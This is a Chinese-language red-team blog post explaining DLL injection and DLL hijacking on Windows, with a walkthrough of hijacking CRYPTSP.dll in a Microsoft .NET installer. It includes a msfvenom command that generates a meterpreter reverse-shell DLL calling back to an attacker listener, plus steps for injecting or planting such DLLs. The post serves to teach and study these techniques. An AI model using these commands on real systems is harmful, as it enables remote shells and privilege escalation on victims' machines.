DLL注入&DLL劫持

DLL注入&DLL劫持

-w429

DLL注入

DLL注入是在某个进程的地址空间的上下文中运行任意代码,如果进程是高权限,攻击者可以利用这个特性提权.

通常需要以下几个步骤:

  • DLL需要放置在目标环境中
  • CreateRemoteThread调用LoadLibrary
  • 反射型加载器尝试寻找进程的PEB,通过kernel32dll和其他的库来定位地址
  • 会用到一些api,LoadLibraryA, GetProcAddress, and VirtualAlloc
  • dll载入内存

常用方法

生成DLL

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.22 LPORT=5566 -f dll > tmp.dll

-w981

监听
-w993

使用RemoteDLLInjector工具注入
-w719
-w839

msf生成的dll没执行,cs的可以
-w1412

除了这个还有PowerSploit的Invoke-DLLInjection 模块等
自行谷歌
dll注入的方式有很多,反射型就是dll文件不落地

DLL劫持

寻找进程中的dll,依然是加载自己的dll,劫持原有的dll
加载顺序

  • 当前应用程序的目录
  • C:\Windows\System32
  • C:\Windows\System
  • C:\Windows
  • 当前工作目录
  • 系统PATH环境变量中的目录
  • 用户PATH环境变量中的目录

process monitor查找缺失的dll
-w796

自动化查找
用的三好师傅博客的demo,也是歪果仁的.

https://github.com/sensepost/rattler

https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/

NDP461-KB3102438-Web.exe的下载地址:

http://www.microsoft.com/zh-cn/download/details.aspx?id=49981&134b2bb0-86c1-fe9f-d523-281faef41695=1&fa43d42b-25b5-4a42-fe9b-1634f450f5ee=True

-w672

得到可以利用的dll文件
-w710

这个自动化工具没找出来,手工看了一下.

-w1068

然后用cs生成32bit的dll
-w393
命名为CRYPTSP.dll
启动安装程序,发现dll已经被成功加载.
-w1700

细枝末节很多文章说的很清楚了.
链接:
https://payloads.online/archivers/2018-06-09/1
DLL劫持漏洞自动化识别工具Rattler测试
https://github.com/sensepost/rattler


文章作者: Wing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wing !
评论
 上一篇
阿里白帽大会-红队的踩坑之路总结-Wing 阿里白帽大会-红队的踩坑之路总结-Wing
阿里白帽大会-红队的踩”坑”之路总结-Wing这次参加阿里白帽大会,对无声的一个师傅的议题印象比较深刻,ppt暂时不知道会不会共享,我个人想做个总结,最近事情一大堆,学习的效率变慢了许多,不能让这些东西一直压着我.XD 飞机刚起飞,希望
2020-01-13
下一篇 
从NTDS.dit文件提取Hash&Password 从NTDS.dit文件提取Hash&Password
NTDS.ditNTDS.dit是域控的数据库文件 Impacket-secretsdumpsecretsdump.py : 远程dump hash 使用DL_DRSGetNCChanges() 方法dump hash,明文,keber
2019-12-21
  目录